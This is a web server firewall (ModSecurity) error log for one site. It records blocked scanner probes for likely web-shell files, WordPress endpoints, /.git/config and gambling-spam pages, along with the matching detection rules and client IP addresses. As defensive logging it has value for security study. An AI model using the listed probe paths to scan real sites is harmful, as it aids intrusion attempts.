[Thu May 07 17:30:27.734389 2026] [:error] [pid 28098:tid 28110] [client 54.37.252.130:34652] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "afxbs8vhwfljlt8trSq1_wAAAEo"]
[Thu May 07 17:30:48.189751 2026] [:error] [pid 15630:tid 15683] [client 54.37.252.130:34668] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afxbyHTithRAi4821qugRwAAAJc"]
[Thu May 07 17:30:50.448741 2026] [:error] [pid 15630:tid 15682] [client 54.37.252.130:44652] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afxbynTithRAi4821qugSQAAAJY"]
[Thu May 07 17:30:52.744427 2026] [:error] [pid 15715:tid 15724] [client 54.37.252.130:44666] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afxbzCY4dZsLOttMkcd8cgAAAQc"]
[Thu May 07 17:30:55.187166 2026] [:error] [pid 28098:tid 28102] [client 54.37.252.130:44682] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afxbz8vhwfljlt8trSq2IgAAAEI"]
[Thu May 07 17:30:57.649523 2026] [:error] [pid 15629:tid 15652] [client 54.37.252.130:44698] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afxb0frIJCALdUrO43lmPAAAABM"]
[Thu May 07 17:30:59.947605 2026] [:error] [pid 15715:tid 15732] [client 54.37.252.130:59356] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afxb0yY4dZsLOttMkcd8dQAAAQw"]
[Thu May 07 17:31:02.268990 2026] [:error] [pid 28098:tid 28123] [client 54.37.252.130:59364] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afxb1svhwfljlt8trSq2JwAAAFc"]
[Thu May 07 17:31:04.736540 2026] [:error] [pid 15631:tid 15692] [client 54.37.252.130:59378] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afxb2HvP1GkPUuuLfqUjRAAAAMU"]
[Thu May 07 17:31:07.188450 2026] [:error] [pid 15631:tid 15709] [client 54.37.252.130:59386] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afxb23vP1GkPUuuLfqUjRgAAANY"]
[Thu May 07 17:55:13.006849 2026] [:error] [pid 15715:tid 15725] [client 20.168.111.65:12165] [client 20.168.111.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.168.111.65, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/wp/xmlrpc.php"] [unique_id "afxhgSY4dZsLOttMkceCbwAAAQg"]
[Thu May 07 18:11:46.828455 2026] [:error] [pid 15631:tid 15697] [client 43.166.136.202:37426] [client 43.166.136.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afxlYnvP1GkPUuuLfqUqdwAAAMo"]
[Thu May 07 19:12:23.969906 2026] [:error] [pid 15631:tid 15707] [client 43.165.4.2:51378] [client 43.165.4.2] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afxzl3vP1GkPUuuLfqU0PQAAANQ"]
[Thu May 07 20:36:02.040358 2026] [:error] [pid 15630:tid 15684] [client 120.56.127.13:50172] [client 120.56.127.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.56.127.13, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afyHMnTithRAi4821qu2vQAAAJg"]
[Thu May 07 21:47:48.169166 2026] [:error] [pid 28098:tid 28120] [client 111.230.233.46:54454] [client 111.230.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afyYBMvhwfljlt8trSoTZAAAAFQ"]
[Thu May 07 22:26:40.334705 2026] [:error] [pid 28098:tid 28115] [client 136.109.180.103:52776] [client 136.109.180.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.180.103, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afyhIMvhwfljlt8trSokGwAAAE8"]
[Thu May 07 22:26:40.343122 2026] [:error] [pid 15715:tid 15733] [client 136.109.180.103:51284] [client 136.109.180.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.180.103, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afyhICY4dZsLOttMkcfFuAAAAQ0"]
[Thu May 07 22:26:40.514096 2026] [:error] [pid 28098:tid 28118] [client 136.109.180.103:52776] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afyhIMvhwfljlt8trSokIgAAAFI"]
[Thu May 07 22:26:40.552947 2026] [:error] [pid 15715:tid 15741] [client 136.109.180.103:51284] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afyhICY4dZsLOttMkcfFuQAAARU"]
[Thu May 07 22:26:41.227212 2026] [:error] [pid 28098:tid 28107] [client 136.109.180.103:63702] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "afyhIcvhwfljlt8trSokLQAAAEc"]
[Thu May 07 22:26:41.382981 2026] [:error] [pid 15631:tid 15702] [client 136.109.180.103:63000] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "afyhIXvP1GkPUuuLfqVZBQAAAM8"]
[Thu May 07 22:26:42.021480 2026] [:error] [pid 15631:tid 15695] [client 136.109.180.103:64536] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "afyhInvP1GkPUuuLfqVZDgAAAMg"]
[Thu May 07 22:26:42.154461 2026] [:error] [pid 15631:tid 15691] [client 136.109.180.103:50249] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "afyhInvP1GkPUuuLfqVZDwAAAMQ"]
[Thu May 07 22:26:42.848927 2026] [:error] [pid 15631:tid 15708] [client 136.109.180.103:57423] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "afyhInvP1GkPUuuLfqVZFgAAANU"]
[Thu May 07 22:26:42.928514 2026] [:error] [pid 15631:tid 15694] [client 136.109.180.103:56193] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "afyhInvP1GkPUuuLfqVZFwAAAMc"]
[Thu May 07 22:26:43.659965 2026] [:error] [pid 28098:tid 28104] [client 136.109.180.103:63062] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "afyhI8vhwfljlt8trSokOQAAAEQ"]
[Thu May 07 22:26:43.716794 2026] [:error] [pid 28098:tid 28110] [client 136.109.180.103:61976] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "afyhI8vhwfljlt8trSokOgAAAEo"]
[Thu May 07 22:26:44.431880 2026] [:error] [pid 28098:tid 28122] [client 136.109.180.103:65028] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "afyhJMvhwfljlt8trSokPwAAAFY"]
[Thu May 07 22:26:44.461963 2026] [:error] [pid 28098:tid 28116] [client 136.109.180.103:58259] [client 136.109.180.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "afyhJMvhwfljlt8trSokQAAAAFA"]
[Thu May 07 22:59:16.188307 2026] [:error] [pid 28098:tid 28112] [client 4.193.137.131:3905] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "afyoxMvhwfljlt8trSovSgAAAEw"]
[Thu May 07 22:59:16.564514 2026] [:error] [pid 15715:tid 15720] [client 4.193.137.131:3908] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "afyoxCY4dZsLOttMkcfOTQAAAQM"]
[Thu May 07 22:59:16.917829 2026] [:error] [pid 28098:tid 28110] [client 4.193.137.131:3933] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "afyoxMvhwfljlt8trSovSwAAAEo"]
[Thu May 07 22:59:17.280279 2026] [:error] [pid 28098:tid 28113] [client 4.193.137.131:3932] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "afyoxcvhwfljlt8trSovTQAAAE0"]
[Thu May 07 23:13:21.986606 2026] [:error] [pid 28098:tid 28103] [client 43.153.123.4:56338] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afysEcvhwfljlt8trSo0qgAAAEM"]
[Fri May 08 00:06:44.196894 2026] [:error] [pid 12323:tid 12338] [client 43.166.244.66:49396] [client 43.166.244.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afy4lNdhHMnGFpc7MDxCQAAAAUs"]
[Fri May 08 00:43:17.408744 2026] [:error] [pid 15630:tid 15662] [client 34.106.134.142:60356] [client 34.106.134.142] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afzBJXTithRAi4821qvl-AAAAII"]
[Fri May 08 03:15:44.346559 2026] [:error] [pid 15715:tid 15744] [client 35.220.244.166:41478] [client 35.220.244.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afzk4CY4dZsLOttMkccV_gAAARg"]
[Fri May 08 06:17:51.587443 2026] [:error] [pid 51113:tid 51130] [client 170.106.180.246:48188] [client 170.106.180.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af0Pj0Qfs7sWtqkpQIcmfQAAAM8"]
[Fri May 08 09:50:43.476379 2026] [:error] [pid 61355:tid 61364] [client 162.14.109.170:37040] [client 162.14.109.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af1Bc_khJTi30CBXmMkBYAAAAYM"]
[Fri May 08 11:06:33.589310 2026] [:error] [pid 51008:tid 51073] [client 43.164.0.21:47760] [client 43.164.0.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af1TOXB58C2Y1tgLtuJTCQAAAFg"]
[Fri May 08 11:36:48.090438 2026] [:error] [pid 61356:tid 61402] [client 172.212.136.43:25930] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "af1aUIx3vpB8oWhUq2Pk2QAAAc4"]
[Fri May 08 11:36:49.636711 2026] [:error] [pid 51113:tid 51125] [client 172.212.136.43:25944] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "af1aUUQfs7sWtqkpQIdLzgAAAMo"]
[Fri May 08 11:36:51.267129 2026] [:error] [pid 61317:tid 61324] [client 172.212.136.43:25926] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "af1aU8-fFk_CedOCOYtwXwAAAUQ"]
[Fri May 08 11:36:52.314901 2026] [:error] [pid 51007:tid 51043] [client 172.212.136.43:25866] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "af1aVFMagSGstWKyzzWv_QAAABU"]
[Fri May 08 11:36:53.929447 2026] [:error] [pid 51008:tid 51060] [client 172.212.136.43:25960] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index0.php"] [unique_id "af1aVXB58C2Y1tgLtuJWfAAAAEs"]
[Fri May 08 11:36:55.128337 2026] [:error] [pid 51007:tid 51036] [client 172.212.136.43:25946] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index0.php"] [unique_id "af1aV1MagSGstWKyzzWv_gAAAA4"]
[Fri May 08 11:36:56.101919 2026] [:error] [pid 51113:tid 51138] [client 172.212.136.43:25935] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index0.php"] [unique_id "af1aWEQfs7sWtqkpQIdLzwAAANc"]
[Fri May 08 11:36:57.234025 2026] [:error] [pid 61355:tid 61363] [client 172.212.136.43:25875] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index0.php"] [unique_id "af1aWfkhJTi30CBXmMknLwAAAYI"]
[Fri May 08 11:36:58.064673 2026] [:error] [pid 51009:tid 51095] [client 172.212.136.43:25922] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "af1aWuB0GbUWhxgzX9XKwwAAAJM"]
[Fri May 08 11:36:59.171387 2026] [:error] [pid 61355:tid 61372] [client 172.212.136.43:25980] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "af1aW_khJTi30CBXmMknMwAAAYs"]
[Fri May 08 11:36:59.863723 2026] [:error] [pid 51007:tid 51033] [client 172.212.136.43:25979] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "af1aW1MagSGstWKyzzWwAAAAAAs"]
[Fri May 08 11:37:01.252517 2026] [:error] [pid 61355:tid 61381] [client 172.212.136.43:25920] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "af1aXfkhJTi30CBXmMknOQAAAZQ"]
